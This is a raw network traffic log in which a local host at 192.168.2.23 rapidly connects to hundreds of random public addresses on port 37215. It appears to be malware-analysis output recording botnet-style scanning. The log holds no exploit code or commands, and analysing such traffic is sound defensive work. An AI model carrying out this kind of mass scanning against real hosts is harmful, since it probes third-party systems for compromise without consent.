Nov 19, 2023 09:16:01.652376890 CET	45796	37215	192.168.2.23	41.86.48.125
Nov 19, 2023 09:16:01.652376890 CET	45796	37215	192.168.2.23	197.43.137.58
Nov 19, 2023 09:16:01.652378082 CET	45796	37215	192.168.2.23	41.160.209.77
Nov 19, 2023 09:16:01.652384043 CET	45796	37215	192.168.2.23	41.180.3.0
Nov 19, 2023 09:16:01.652384043 CET	45796	37215	192.168.2.23	156.79.175.58
Nov 19, 2023 09:16:01.652384996 CET	45796	37215	192.168.2.23	197.156.59.59
Nov 19, 2023 09:16:01.652384996 CET	45796	37215	192.168.2.23	197.213.166.41
Nov 19, 2023 09:16:01.652400970 CET	45796	37215	192.168.2.23	41.230.93.120
Nov 19, 2023 09:16:01.652407885 CET	45796	37215	192.168.2.23	156.131.206.70
Nov 19, 2023 09:16:01.652419090 CET	45796	37215	192.168.2.23	197.92.86.50
Nov 19, 2023 09:16:01.652424097 CET	45796	37215	192.168.2.23	156.21.174.121
Nov 19, 2023 09:16:01.652427912 CET	45796	37215	192.168.2.23	156.151.35.9
Nov 19, 2023 09:16:01.652427912 CET	45796	37215	192.168.2.23	197.79.197.61
Nov 19, 2023 09:16:01.652427912 CET	45796	37215	192.168.2.23	197.246.45.88
Nov 19, 2023 09:16:01.652442932 CET	45796	37215	192.168.2.23	197.149.116.18
Nov 19, 2023 09:16:01.652445078 CET	45796	37215	192.168.2.23	41.7.127.2
Nov 19, 2023 09:16:01.652448893 CET	45796	37215	192.168.2.23	41.7.45.11
Nov 19, 2023 09:16:01.652448893 CET	45796	37215	192.168.2.23	41.222.153.123
Nov 19, 2023 09:16:01.652456999 CET	45796	37215	192.168.2.23	197.116.65.8
Nov 19, 2023 09:16:01.652456999 CET	45796	37215	192.168.2.23	197.72.126.237
Nov 19, 2023 09:16:01.652456999 CET	45796	37215	192.168.2.23	41.70.168.97
Nov 19, 2023 09:16:01.652472019 CET	45796	37215	192.168.2.23	197.48.114.42
Nov 19, 2023 09:16:01.652479887 CET	45796	37215	192.168.2.23	41.179.61.205
Nov 19, 2023 09:16:01.652479887 CET	45796	37215	192.168.2.23	41.94.68.77
Nov 19, 2023 09:16:01.652487040 CET	45796	37215	192.168.2.23	197.161.53.7
Nov 19, 2023 09:16:01.652493000 CET	45796	37215	192.168.2.23	156.182.228.121
Nov 19, 2023 09:16:01.652501106 CET	45796	37215	192.168.2.23	41.91.202.193
Nov 19, 2023 09:16:01.652503967 CET	45796	37215	192.168.2.23	41.136.66.58
Nov 19, 2023 09:16:01.652515888 CET	45796	37215	192.168.2.23	41.236.206.248
Nov 19, 2023 09:16:01.652515888 CET	45796	37215	192.168.2.23	41.192.99.42
Nov 19, 2023 09:16:01.652518034 CET	45796	37215	192.168.2.23	197.187.80.141
Nov 19, 2023 09:16:01.652518034 CET	45796	37215	192.168.2.23	197.43.138.153
Nov 19, 2023 09:16:01.652518034 CET	45796	37215	192.168.2.23	197.12.69.201
Nov 19, 2023 09:16:01.652518988 CET	45796	37215	192.168.2.23	156.11.44.164
Nov 19, 2023 09:16:01.652523994 CET	45796	37215	192.168.2.23	197.101.87.9
Nov 19, 2023 09:16:01.652523994 CET	45796	37215	192.168.2.23	41.209.241.213
Nov 19, 2023 09:16:01.652523994 CET	45796	37215	192.168.2.23	41.93.180.106
Nov 19, 2023 09:16:01.652535915 CET	45796	37215	192.168.2.23	41.196.118.51
Nov 19, 2023 09:16:01.652535915 CET	45796	37215	192.168.2.23	156.233.222.210
Nov 19, 2023 09:16:01.652544022 CET	45796	37215	192.168.2.23	197.106.128.36
Nov 19, 2023 09:16:01.652549982 CET	45796	37215	192.168.2.23	197.98.196.174
Nov 19, 2023 09:16:01.652564049 CET	45796	37215	192.168.2.23	197.211.15.163
Nov 19, 2023 09:16:01.652565956 CET	45796	37215	192.168.2.23	41.152.56.22
Nov 19, 2023 09:16:01.652565956 CET	45796	37215	192.168.2.23	41.82.125.205
Nov 19, 2023 09:16:01.652571917 CET	45796	37215	192.168.2.23	41.237.12.132
Nov 19, 2023 09:16:01.652573109 CET	45796	37215	192.168.2.23	41.208.71.111
Nov 19, 2023 09:16:01.652582884 CET	45796	37215	192.168.2.23	197.28.42.154
Nov 19, 2023 09:16:01.652586937 CET	45796	37215	192.168.2.23	41.158.129.238
Nov 19, 2023 09:16:01.652589083 CET	45796	37215	192.168.2.23	41.247.174.65
Nov 19, 2023 09:16:01.652590036 CET	45796	37215	192.168.2.23	197.236.79.16
Nov 19, 2023 09:16:01.652599096 CET	45796	37215	192.168.2.23	41.253.9.63
Nov 19, 2023 09:16:01.652600050 CET	45796	37215	192.168.2.23	197.31.183.247
Nov 19, 2023 09:16:01.652600050 CET	45796	37215	192.168.2.23	156.98.190.42
Nov 19, 2023 09:16:01.652600050 CET	45796	37215	192.168.2.23	41.241.17.198
Nov 19, 2023 09:16:01.652601957 CET	45796	37215	192.168.2.23	197.198.239.211
Nov 19, 2023 09:16:01.652616978 CET	45796	37215	192.168.2.23	156.95.224.152
Nov 19, 2023 09:16:01.652621031 CET	45796	37215	192.168.2.23	156.115.69.227
Nov 19, 2023 09:16:01.652622938 CET	45796	37215	192.168.2.23	197.25.25.212
Nov 19, 2023 09:16:01.652626038 CET	45796	37215	192.168.2.23	197.151.140.45
Nov 19, 2023 09:16:01.652626038 CET	45796	37215	192.168.2.23	156.95.140.67
Nov 19, 2023 09:16:01.652626991 CET	45796	37215	192.168.2.23	41.201.37.184
Nov 19, 2023 09:16:01.652630091 CET	45796	37215	192.168.2.23	41.69.178.64
Nov 19, 2023 09:16:01.652637959 CET	45796	37215	192.168.2.23	156.48.235.74
Nov 19, 2023 09:16:01.652645111 CET	45796	37215	192.168.2.23	197.220.206.100
Nov 19, 2023 09:16:01.652653933 CET	45796	37215	192.168.2.23	41.233.231.120
Nov 19, 2023 09:16:01.652656078 CET	45796	37215	192.168.2.23	41.33.135.92
Nov 19, 2023 09:16:01.652657986 CET	45796	37215	192.168.2.23	197.140.170.197
Nov 19, 2023 09:16:01.652657986 CET	45796	37215	192.168.2.23	41.184.219.244
Nov 19, 2023 09:16:01.652658939 CET	45796	37215	192.168.2.23	41.226.132.243
Nov 19, 2023 09:16:01.652662039 CET	45796	37215	192.168.2.23	197.114.7.200
Nov 19, 2023 09:16:01.652666092 CET	45796	37215	192.168.2.23	41.109.27.14
Nov 19, 2023 09:16:01.652674913 CET	45796	37215	192.168.2.23	197.22.201.28
Nov 19, 2023 09:16:01.652677059 CET	45796	37215	192.168.2.23	156.133.90.174
Nov 19, 2023 09:16:01.652697086 CET	45796	37215	192.168.2.23	156.10.249.192
Nov 19, 2023 09:16:01.652698994 CET	45796	37215	192.168.2.23	156.69.148.223
Nov 19, 2023 09:16:01.652702093 CET	45796	37215	192.168.2.23	197.157.50.94
Nov 19, 2023 09:16:01.652704000 CET	45796	37215	192.168.2.23	156.21.20.229
Nov 19, 2023 09:16:01.652704000 CET	45796	37215	192.168.2.23	156.156.226.119
Nov 19, 2023 09:16:01.652704000 CET	45796	37215	192.168.2.23	197.169.141.148
Nov 19, 2023 09:16:01.652709007 CET	45796	37215	192.168.2.23	156.143.188.232
Nov 19, 2023 09:16:01.652712107 CET	45796	37215	192.168.2.23	156.102.156.246
Nov 19, 2023 09:16:01.652715921 CET	45796	37215	192.168.2.23	197.89.99.213
Nov 19, 2023 09:16:01.652718067 CET	45796	37215	192.168.2.23	41.65.48.137
Nov 19, 2023 09:16:01.652729034 CET	45796	37215	192.168.2.23	41.168.212.44
Nov 19, 2023 09:16:01.652729034 CET	45796	37215	192.168.2.23	41.147.252.147
Nov 19, 2023 09:16:01.652739048 CET	45796	37215	192.168.2.23	197.89.199.113
Nov 19, 2023 09:16:01.652743101 CET	45796	37215	192.168.2.23	41.50.240.52
Nov 19, 2023 09:16:01.652743101 CET	45796	37215	192.168.2.23	41.41.176.71
Nov 19, 2023 09:16:01.652746916 CET	45796	37215	192.168.2.23	197.164.35.166
Nov 19, 2023 09:16:01.652756929 CET	45796	37215	192.168.2.23	41.210.237.194
Nov 19, 2023 09:16:01.652756929 CET	45796	37215	192.168.2.23	41.201.132.215
Nov 19, 2023 09:16:01.652756929 CET	45796	37215	192.168.2.23	197.154.82.173
Nov 19, 2023 09:16:01.652765036 CET	45796	37215	192.168.2.23	197.55.132.173
Nov 19, 2023 09:16:01.652765989 CET	45796	37215	192.168.2.23	197.17.139.184
Nov 19, 2023 09:16:01.652780056 CET	45796	37215	192.168.2.23	156.235.93.34
Nov 19, 2023 09:16:01.652782917 CET	45796	37215	192.168.2.23	156.15.160.191
Nov 19, 2023 09:16:01.652782917 CET	45796	37215	192.168.2.23	41.129.129.101
Nov 19, 2023 09:16:01.652792931 CET	45796	37215	192.168.2.23	197.187.232.246
Nov 19, 2023 09:16:01.652801037 CET	45796	37215	192.168.2.23	41.183.153.226
Nov 19, 2023 09:16:01.652801991 CET	45796	37215	192.168.2.23	41.26.255.238
Nov 19, 2023 09:16:01.652801037 CET	45796	37215	192.168.2.23	197.72.185.24
Nov 19, 2023 09:16:01.652801991 CET	45796	37215	192.168.2.23	197.169.53.101
Nov 19, 2023 09:16:01.652806997 CET	45796	37215	192.168.2.23	41.10.174.228
Nov 19, 2023 09:16:01.652806997 CET	45796	37215	192.168.2.23	197.220.48.155
Nov 19, 2023 09:16:01.652808905 CET	45796	37215	192.168.2.23	156.34.134.188
Nov 19, 2023 09:16:01.652808905 CET	45796	37215	192.168.2.23	41.199.161.11
Nov 19, 2023 09:16:01.652811050 CET	45796	37215	192.168.2.23	41.154.197.240
Nov 19, 2023 09:16:01.652811050 CET	45796	37215	192.168.2.23	41.108.103.222
Nov 19, 2023 09:16:01.652811050 CET	45796	37215	192.168.2.23	41.214.176.95
Nov 19, 2023 09:16:01.652821064 CET	45796	37215	192.168.2.23	41.64.120.255
Nov 19, 2023 09:16:01.652834892 CET	45796	37215	192.168.2.23	41.160.44.190
Nov 19, 2023 09:16:01.652838945 CET	45796	37215	192.168.2.23	41.157.203.115
Nov 19, 2023 09:16:01.652838945 CET	45796	37215	192.168.2.23	41.95.72.197
Nov 19, 2023 09:16:01.652842045 CET	45796	37215	192.168.2.23	41.143.195.38
Nov 19, 2023 09:16:01.652842045 CET	45796	37215	192.168.2.23	197.168.255.244
Nov 19, 2023 09:16:01.652848005 CET	45796	37215	192.168.2.23	41.28.37.100
Nov 19, 2023 09:16:01.652863026 CET	45796	37215	192.168.2.23	41.162.148.85
Nov 19, 2023 09:16:01.652863979 CET	45796	37215	192.168.2.23	197.67.151.89
Nov 19, 2023 09:16:01.652863979 CET	45796	37215	192.168.2.23	156.172.11.111
Nov 19, 2023 09:16:01.652863026 CET	45796	37215	192.168.2.23	156.95.40.128
Nov 19, 2023 09:16:01.652869940 CET	45796	37215	192.168.2.23	41.183.238.35
Nov 19, 2023 09:16:01.652869940 CET	45796	37215	192.168.2.23	197.246.167.71
Nov 19, 2023 09:16:01.652873993 CET	45796	37215	192.168.2.23	197.36.173.146
Nov 19, 2023 09:16:01.652884960 CET	45796	37215	192.168.2.23	41.175.207.161
Nov 19, 2023 09:16:01.652889013 CET	45796	37215	192.168.2.23	197.231.32.226
Nov 19, 2023 09:16:01.652889013 CET	45796	37215	192.168.2.23	41.70.226.133
Nov 19, 2023 09:16:01.652889013 CET	45796	37215	192.168.2.23	41.189.156.145
Nov 19, 2023 09:16:01.652889013 CET	45796	37215	192.168.2.23	41.6.3.115
Nov 19, 2023 09:16:01.652893066 CET	45796	37215	192.168.2.23	156.224.220.117
Nov 19, 2023 09:16:01.652894020 CET	45796	37215	192.168.2.23	197.83.124.41
Nov 19, 2023 09:16:01.652894020 CET	45796	37215	192.168.2.23	156.68.91.67
Nov 19, 2023 09:16:01.652899027 CET	45796	37215	192.168.2.23	156.66.173.222
Nov 19, 2023 09:16:01.652899027 CET	45796	37215	192.168.2.23	41.101.54.229
Nov 19, 2023 09:16:01.652899027 CET	45796	37215	192.168.2.23	156.98.16.247
Nov 19, 2023 09:16:01.652905941 CET	45796	37215	192.168.2.23	41.191.185.183
Nov 19, 2023 09:16:01.652918100 CET	45796	37215	192.168.2.23	41.51.42.73
Nov 19, 2023 09:16:01.652926922 CET	45796	37215	192.168.2.23	156.114.7.180
Nov 19, 2023 09:16:01.652935982 CET	45796	37215	192.168.2.23	156.39.59.198
Nov 19, 2023 09:16:01.652944088 CET	45796	37215	192.168.2.23	156.18.143.28
Nov 19, 2023 09:16:01.652946949 CET	45796	37215	192.168.2.23	41.57.217.135
Nov 19, 2023 09:16:01.652946949 CET	45796	37215	192.168.2.23	156.242.140.152
Nov 19, 2023 09:16:01.652954102 CET	45796	37215	192.168.2.23	41.107.136.231
Nov 19, 2023 09:16:01.652955055 CET	45796	37215	192.168.2.23	197.188.64.158
Nov 19, 2023 09:16:01.652961969 CET	45796	37215	192.168.2.23	156.34.211.174
Nov 19, 2023 09:16:01.652967930 CET	45796	37215	192.168.2.23	156.127.70.24
Nov 19, 2023 09:16:01.652972937 CET	45796	37215	192.168.2.23	197.37.239.72
Nov 19, 2023 09:16:01.652981043 CET	45796	37215	192.168.2.23	156.150.23.230
Nov 19, 2023 09:16:01.652981997 CET	45796	37215	192.168.2.23	156.165.122.76
Nov 19, 2023 09:16:01.652997017 CET	45796	37215	192.168.2.23	41.251.165.167
Nov 19, 2023 09:16:01.652997017 CET	45796	37215	192.168.2.23	41.20.213.62
Nov 19, 2023 09:16:01.653007984 CET	45796	37215	192.168.2.23	41.254.191.212
Nov 19, 2023 09:16:01.653008938 CET	45796	37215	192.168.2.23	197.148.134.226
Nov 19, 2023 09:16:01.653011084 CET	45796	37215	192.168.2.23	156.247.176.34
Nov 19, 2023 09:16:01.653019905 CET	45796	37215	192.168.2.23	41.123.96.125
Nov 19, 2023 09:16:01.653022051 CET	45796	37215	192.168.2.23	197.224.68.43
Nov 19, 2023 09:16:01.653033972 CET	45796	37215	192.168.2.23	156.164.70.236
Nov 19, 2023 09:16:01.653033972 CET	45796	37215	192.168.2.23	156.221.168.214
Nov 19, 2023 09:16:01.653036118 CET	45796	37215	192.168.2.23	156.244.52.36
Nov 19, 2023 09:16:01.653036118 CET	45796	37215	192.168.2.23	41.8.204.191
Nov 19, 2023 09:16:01.653043985 CET	45796	37215	192.168.2.23	197.14.161.107
Nov 19, 2023 09:16:01.653064966 CET	45796	37215	192.168.2.23	156.37.63.79
Nov 19, 2023 09:16:01.781038046 CET	37215	45796	156.154.242.34	192.168.2.23
Nov 19, 2023 09:16:01.865010023 CET	37215	45796	41.208.71.111	192.168.2.23
Nov 19, 2023 09:16:01.865061045 CET	45796	37215	192.168.2.23	41.208.71.111
Nov 19, 2023 09:16:01.893106937 CET	37215	45796	41.82.125.205	192.168.2.23
Nov 19, 2023 09:16:01.897541046 CET	37215	45796	197.8.248.168	192.168.2.23
Nov 19, 2023 09:16:01.945066929 CET	37215	45796	156.251.180.79	192.168.2.23
Nov 19, 2023 09:16:01.985793114 CET	37215	45796	156.67.216.167	192.168.2.23
Nov 19, 2023 09:16:02.000550032 CET	37215	45796	197.232.26.205	192.168.2.23
Nov 19, 2023 09:16:02.006711006 CET	37215	45796	197.232.135.112	192.168.2.23
Nov 19, 2023 09:16:02.062627077 CET	37215	45796	41.175.207.161	192.168.2.23
Nov 19, 2023 09:16:02.372852087 CET	37215	45796	197.6.255.214	192.168.2.23
Nov 19, 2023 09:16:02.654118061 CET	45796	37215	192.168.2.23	156.212.59.28
Nov 19, 2023 09:16:02.654124022 CET	45796	37215	192.168.2.23	156.144.207.94
Nov 19, 2023 09:16:02.654124975 CET	45796	37215	192.168.2.23	41.56.39.145
Nov 19, 2023 09:16:02.654130936 CET	45796	37215	192.168.2.23	197.65.251.179
Nov 19, 2023 09:16:02.654130936 CET	45796	37215	192.168.2.23	156.216.43.17
Nov 19, 2023 09:16:02.654135942 CET	45796	37215	192.168.2.23	156.229.95.41
Nov 19, 2023 09:16:02.654138088 CET	45796	37215	192.168.2.23	197.122.169.36
Nov 19, 2023 09:16:02.654135942 CET	45796	37215	192.168.2.23	197.235.159.201
Nov 19, 2023 09:16:02.654165983 CET	45796	37215	192.168.2.23	197.255.208.246
Nov 19, 2023 09:16:02.654165983 CET	45796	37215	192.168.2.23	197.99.60.48
Nov 19, 2023 09:16:02.654166937 CET	45796	37215	192.168.2.23	41.161.253.126
Nov 19, 2023 09:16:02.654179096 CET	45796	37215	192.168.2.23	41.213.166.22
Nov 19, 2023 09:16:02.654179096 CET	45796	37215	192.168.2.23	197.24.215.152
Nov 19, 2023 09:16:02.654179096 CET	45796	37215	192.168.2.23	197.103.31.163
Nov 19, 2023 09:16:02.654179096 CET	45796	37215	192.168.2.23	156.182.241.41
Nov 19, 2023 09:16:02.654182911 CET	45796	37215	192.168.2.23	197.175.76.136
Nov 19, 2023 09:16:02.654210091 CET	45796	37215	192.168.2.23	41.247.70.170
Nov 19, 2023 09:16:02.654211998 CET	45796	37215	192.168.2.23	41.154.190.59
Nov 19, 2023 09:16:02.654215097 CET	45796	37215	192.168.2.23	197.113.79.250
Nov 19, 2023 09:16:02.654212952 CET	45796	37215	192.168.2.23	197.147.252.119
Nov 19, 2023 09:16:02.654220104 CET	45796	37215	192.168.2.23	156.115.204.45
Nov 19, 2023 09:16:02.654238939 CET	45796	37215	192.168.2.23	41.2.52.64
Nov 19, 2023 09:16:02.654238939 CET	45796	37215	192.168.2.23	197.152.189.145
Nov 19, 2023 09:16:02.654251099 CET	45796	37215	192.168.2.23	156.221.85.50
Nov 19, 2023 09:16:02.654251099 CET	45796	37215	192.168.2.23	41.10.165.207
Nov 19, 2023 09:16:02.654253006 CET	45796	37215	192.168.2.23	41.141.219.65
Nov 19, 2023 09:16:02.654253006 CET	45796	37215	192.168.2.23	156.177.201.176
Nov 19, 2023 09:16:02.654253960 CET	45796	37215	192.168.2.23	197.46.242.70
Nov 19, 2023 09:16:02.654263020 CET	45796	37215	192.168.2.23	156.129.185.71
Nov 19, 2023 09:16:02.654285908 CET	45796	37215	192.168.2.23	197.162.114.17
Nov 19, 2023 09:16:02.654285908 CET	45796	37215	192.168.2.23	197.111.120.252
Nov 19, 2023 09:16:02.654289007 CET	45796	37215	192.168.2.23	197.37.44.92
Nov 19, 2023 09:16:02.654289007 CET	45796	37215	192.168.2.23	41.36.9.130
Nov 19, 2023 09:16:02.654297113 CET	45796	37215	192.168.2.23	156.13.63.197
Nov 19, 2023 09:16:02.654301882 CET	45796	37215	192.168.2.23	197.134.241.186
Nov 19, 2023 09:16:02.654301882 CET	45796	37215	192.168.2.23	156.44.237.145
Nov 19, 2023 09:16:02.654301882 CET	45796	37215	192.168.2.23	156.125.191.179
Nov 19, 2023 09:16:02.654319048 CET	45796	37215	192.168.2.23	156.101.51.54
Nov 19, 2023 09:16:02.654319048 CET	45796	37215	192.168.2.23	41.253.5.92
Nov 19, 2023 09:16:02.654321909 CET	45796	37215	192.168.2.23	41.44.96.27
Nov 19, 2023 09:16:02.654345989 CET	45796	37215	192.168.2.23	41.236.196.210
Nov 19, 2023 09:16:02.654345989 CET	45796	37215	192.168.2.23	41.34.69.154
Nov 19, 2023 09:16:02.654349089 CET	45796	37215	192.168.2.23	156.223.163.141
Nov 19, 2023 09:16:02.654349089 CET	45796	37215	192.168.2.23	41.115.18.240
Nov 19, 2023 09:16:02.654361010 CET	45796	37215	192.168.2.23	41.203.22.126
Nov 19, 2023 09:16:02.654361963 CET	45796	37215	192.168.2.23	41.149.63.119
Nov 19, 2023 09:16:02.654361010 CET	45796	37215	192.168.2.23	41.60.162.64
Nov 19, 2023 09:16:02.654366016 CET	45796	37215	192.168.2.23	41.144.225.114
Nov 19, 2023 09:16:02.654397011 CET	45796	37215	192.168.2.23	156.22.189.161
Nov 19, 2023 09:16:02.654402971 CET	45796	37215	192.168.2.23	197.116.167.229
Nov 19, 2023 09:16:02.654402971 CET	45796	37215	192.168.2.23	41.148.209.62
Nov 19, 2023 09:16:02.654405117 CET	45796	37215	192.168.2.23	41.201.187.8
Nov 19, 2023 09:16:02.654405117 CET	45796	37215	192.168.2.23	197.119.20.172
Nov 19, 2023 09:16:02.654406071 CET	45796	37215	192.168.2.23	156.35.193.200
Nov 19, 2023 09:16:02.654407978 CET	45796	37215	192.168.2.23	156.234.99.22
Nov 19, 2023 09:16:02.654407978 CET	45796	37215	192.168.2.23	41.33.221.183
Nov 19, 2023 09:16:02.654407978 CET	45796	37215	192.168.2.23	41.49.7.236
Nov 19, 2023 09:16:02.654411077 CET	45796	37215	192.168.2.23	156.150.83.67
Nov 19, 2023 09:16:02.654416084 CET	45796	37215	192.168.2.23	41.82.50.212
Nov 19, 2023 09:16:02.654416084 CET	45796	37215	192.168.2.23	156.1.51.191
Nov 19, 2023 09:16:02.654416084 CET	45796	37215	192.168.2.23	156.55.12.45
Nov 19, 2023 09:16:02.654422998 CET	45796	37215	192.168.2.23	197.39.146.156
Nov 19, 2023 09:16:02.654422998 CET	45796	37215	192.168.2.23	197.34.223.220
Nov 19, 2023 09:16:02.654422998 CET	45796	37215	192.168.2.23	156.151.226.131
Nov 19, 2023 09:16:02.654422998 CET	45796	37215	192.168.2.23	197.37.254.11
Nov 19, 2023 09:16:02.654424906 CET	45796	37215	192.168.2.23	41.242.43.66
Nov 19, 2023 09:16:02.654426098 CET	45796	37215	192.168.2.23	156.169.231.84
Nov 19, 2023 09:16:02.654426098 CET	45796	37215	192.168.2.23	197.93.7.12
Nov 19, 2023 09:16:02.654438019 CET	45796	37215	192.168.2.23	41.149.193.40
Nov 19, 2023 09:16:02.654441118 CET	45796	37215	192.168.2.23	197.167.244.168
Nov 19, 2023 09:16:02.654441118 CET	45796	37215	192.168.2.23	197.254.211.222
Nov 19, 2023 09:16:02.654443979 CET	45796	37215	192.168.2.23	197.126.34.219
Nov 19, 2023 09:16:02.654443979 CET	45796	37215	192.168.2.23	156.84.197.184
Nov 19, 2023 09:16:02.654448986 CET	45796	37215	192.168.2.23	156.112.39.132
Nov 19, 2023 09:16:02.654448986 CET	45796	37215	192.168.2.23	156.117.239.3
Nov 19, 2023 09:16:02.654459000 CET	45796	37215	192.168.2.23	197.141.54.95
Nov 19, 2023 09:16:02.654459953 CET	45796	37215	192.168.2.23	197.76.7.10
Nov 19, 2023 09:16:02.654459953 CET	45796	37215	192.168.2.23	197.38.149.35
Nov 19, 2023 09:16:02.654459953 CET	45796	37215	192.168.2.23	197.224.114.238
Nov 19, 2023 09:16:02.654459953 CET	45796	37215	192.168.2.23	156.156.3.161
Nov 19, 2023 09:16:02.654460907 CET	45796	37215	192.168.2.23	41.74.226.132
Nov 19, 2023 09:16:02.654459953 CET	45796	37215	192.168.2.23	41.38.170.18
Nov 19, 2023 09:16:02.654460907 CET	45796	37215	192.168.2.23	41.214.11.71
Nov 19, 2023 09:16:02.654459953 CET	45796	37215	192.168.2.23	197.238.223.200
Nov 19, 2023 09:16:02.654465914 CET	45796	37215	192.168.2.23	156.167.125.70
Nov 19, 2023 09:16:02.654469013 CET	45796	37215	192.168.2.23	156.72.132.173
Nov 19, 2023 09:16:02.654488087 CET	45796	37215	192.168.2.23	41.85.45.46
Nov 19, 2023 09:16:02.654488087 CET	45796	37215	192.168.2.23	41.129.85.124
Nov 19, 2023 09:16:02.654488087 CET	45796	37215	192.168.2.23	41.209.18.7
Nov 19, 2023 09:16:02.654501915 CET	45796	37215	192.168.2.23	197.85.95.66
Nov 19, 2023 09:16:02.654501915 CET	45796	37215	192.168.2.23	197.171.169.162
Nov 19, 2023 09:16:02.654501915 CET	45796	37215	192.168.2.23	197.237.107.250
Nov 19, 2023 09:16:02.654501915 CET	45796	37215	192.168.2.23	156.33.145.35
Nov 19, 2023 09:16:02.654501915 CET	45796	37215	192.168.2.23	197.81.33.237
Nov 19, 2023 09:16:02.654515982 CET	45796	37215	192.168.2.23	41.91.79.3
Nov 19, 2023 09:16:02.654519081 CET	45796	37215	192.168.2.23	41.243.42.11
Nov 19, 2023 09:16:02.654519081 CET	45796	37215	192.168.2.23	197.25.82.26
Nov 19, 2023 09:16:02.654519081 CET	45796	37215	192.168.2.23	156.17.116.245
Nov 19, 2023 09:16:02.654520988 CET	45796	37215	192.168.2.23	156.239.25.248
Nov 19, 2023 09:16:02.654532909 CET	45796	37215	192.168.2.23	156.40.0.242
Nov 19, 2023 09:16:02.654537916 CET	45796	37215	192.168.2.23	156.142.3.65
Nov 19, 2023 09:16:02.654540062 CET	45796	37215	192.168.2.23	41.96.209.156
Nov 19, 2023 09:16:02.654540062 CET	45796	37215	192.168.2.23	197.171.100.100
Nov 19, 2023 09:16:02.654540062 CET	45796	37215	192.168.2.23	197.76.93.234
Nov 19, 2023 09:16:02.654541016 CET	45796	37215	192.168.2.23	41.201.100.209
Nov 19, 2023 09:16:02.654550076 CET	45796	37215	192.168.2.23	41.122.28.74
Nov 19, 2023 09:16:02.654567957 CET	45796	37215	192.168.2.23	156.229.135.140
Nov 19, 2023 09:16:02.654567957 CET	45796	37215	192.168.2.23	156.120.250.56
Nov 19, 2023 09:16:02.654572010 CET	45796	37215	192.168.2.23	197.32.77.185
Nov 19, 2023 09:16:02.654576063 CET	45796	37215	192.168.2.23	156.192.52.146
Nov 19, 2023 09:16:02.654577971 CET	45796	37215	192.168.2.23	41.228.151.181
Nov 19, 2023 09:16:02.654577971 CET	45796	37215	192.168.2.23	197.24.174.45
Nov 19, 2023 09:16:02.654580116 CET	45796	37215	192.168.2.23	197.198.53.167
Nov 19, 2023 09:16:02.654580116 CET	45796	37215	192.168.2.23	156.114.248.46
Nov 19, 2023 09:16:02.654580116 CET	45796	37215	192.168.2.23	156.200.99.133
Nov 19, 2023 09:16:02.654581070 CET	45796	37215	192.168.2.23	197.74.225.82
Nov 19, 2023 09:16:02.654582024 CET	45796	37215	192.168.2.23	41.158.29.190
Nov 19, 2023 09:16:02.654587984 CET	45796	37215	192.168.2.23	197.202.201.21
Nov 19, 2023 09:16:02.654597998 CET	45796	37215	192.168.2.23	41.115.44.138
Nov 19, 2023 09:16:02.654606104 CET	45796	37215	192.168.2.23	156.243.109.145
Nov 19, 2023 09:16:02.654616117 CET	45796	37215	192.168.2.23	41.134.73.159
Nov 19, 2023 09:16:02.654617071 CET	45796	37215	192.168.2.23	197.229.197.221
Nov 19, 2023 09:16:02.654619932 CET	45796	37215	192.168.2.23	156.204.184.166
Nov 19, 2023 09:16:02.654627085 CET	45796	37215	192.168.2.23	41.55.231.1
Nov 19, 2023 09:16:02.654627085 CET	45796	37215	192.168.2.23	197.217.216.117
Nov 19, 2023 09:16:02.654628038 CET	45796	37215	192.168.2.23	197.113.63.175
Nov 19, 2023 09:16:02.654628038 CET	45796	37215	192.168.2.23	197.209.178.39
Nov 19, 2023 09:16:02.654628038 CET	45796	37215	192.168.2.23	197.20.69.231
Nov 19, 2023 09:16:02.654628038 CET	45796	37215	192.168.2.23	156.208.197.44
Nov 19, 2023 09:16:02.654628038 CET	45796	37215	192.168.2.23	41.165.114.150
Nov 19, 2023 09:16:02.654628038 CET	45796	37215	192.168.2.23	156.219.176.23
Nov 19, 2023 09:16:02.654640913 CET	45796	37215	192.168.2.23	156.204.174.37
Nov 19, 2023 09:16:02.654647112 CET	45796	37215	192.168.2.23	197.181.63.144
Nov 19, 2023 09:16:02.654647112 CET	45796	37215	192.168.2.23	41.222.119.176
Nov 19, 2023 09:16:02.654656887 CET	45796	37215	192.168.2.23	197.65.48.199
Nov 19, 2023 09:16:02.654658079 CET	45796	37215	192.168.2.23	156.115.68.46
Nov 19, 2023 09:16:02.654659986 CET	45796	37215	192.168.2.23	41.235.71.160
Nov 19, 2023 09:16:02.654661894 CET	45796	37215	192.168.2.23	197.124.110.163
Nov 19, 2023 09:16:02.654665947 CET	45796	37215	192.168.2.23	197.198.123.21
Nov 19, 2023 09:16:02.654689074 CET	45796	37215	192.168.2.23	156.204.59.134
Nov 19, 2023 09:16:02.654700041 CET	45796	37215	192.168.2.23	41.96.122.96
Nov 19, 2023 09:16:02.654700041 CET	45796	37215	192.168.2.23	197.158.118.24
Nov 19, 2023 09:16:02.654700994 CET	45796	37215	192.168.2.23	41.225.39.181
Nov 19, 2023 09:16:02.654701948 CET	45796	37215	192.168.2.23	156.81.206.157
Nov 19, 2023 09:16:02.654706001 CET	45796	37215	192.168.2.23	41.252.172.82
Nov 19, 2023 09:16:02.654711962 CET	45796	37215	192.168.2.23	41.11.13.14
Nov 19, 2023 09:16:02.654711962 CET	45796	37215	192.168.2.23	41.139.70.59
Nov 19, 2023 09:16:02.654719114 CET	45796	37215	192.168.2.23	156.224.38.185
Nov 19, 2023 09:16:02.654720068 CET	45796	37215	192.168.2.23	197.70.66.255
Nov 19, 2023 09:16:02.654721975 CET	45796	37215	192.168.2.23	156.114.133.32
Nov 19, 2023 09:16:02.654732943 CET	45796	37215	192.168.2.23	197.35.173.17
Nov 19, 2023 09:16:02.654741049 CET	45796	37215	192.168.2.23	41.195.75.99
Nov 19, 2023 09:16:02.654741049 CET	45796	37215	192.168.2.23	156.21.134.167
Nov 19, 2023 09:16:02.654755116 CET	45796	37215	192.168.2.23	156.155.42.243
Nov 19, 2023 09:16:02.654755116 CET	45796	37215	192.168.2.23	156.72.117.129
Nov 19, 2023 09:16:02.654768944 CET	45796	37215	192.168.2.23	197.185.56.49
Nov 19, 2023 09:16:02.654771090 CET	45796	37215	192.168.2.23	197.173.58.104
Nov 19, 2023 09:16:02.654783964 CET	45796	37215	192.168.2.23	156.70.140.186
Nov 19, 2023 09:16:02.654784918 CET	45796	37215	192.168.2.23	197.73.157.226
Nov 19, 2023 09:16:02.654787064 CET	45796	37215	192.168.2.23	156.58.29.196
Nov 19, 2023 09:16:02.654798985 CET	45796	37215	192.168.2.23	41.148.219.110
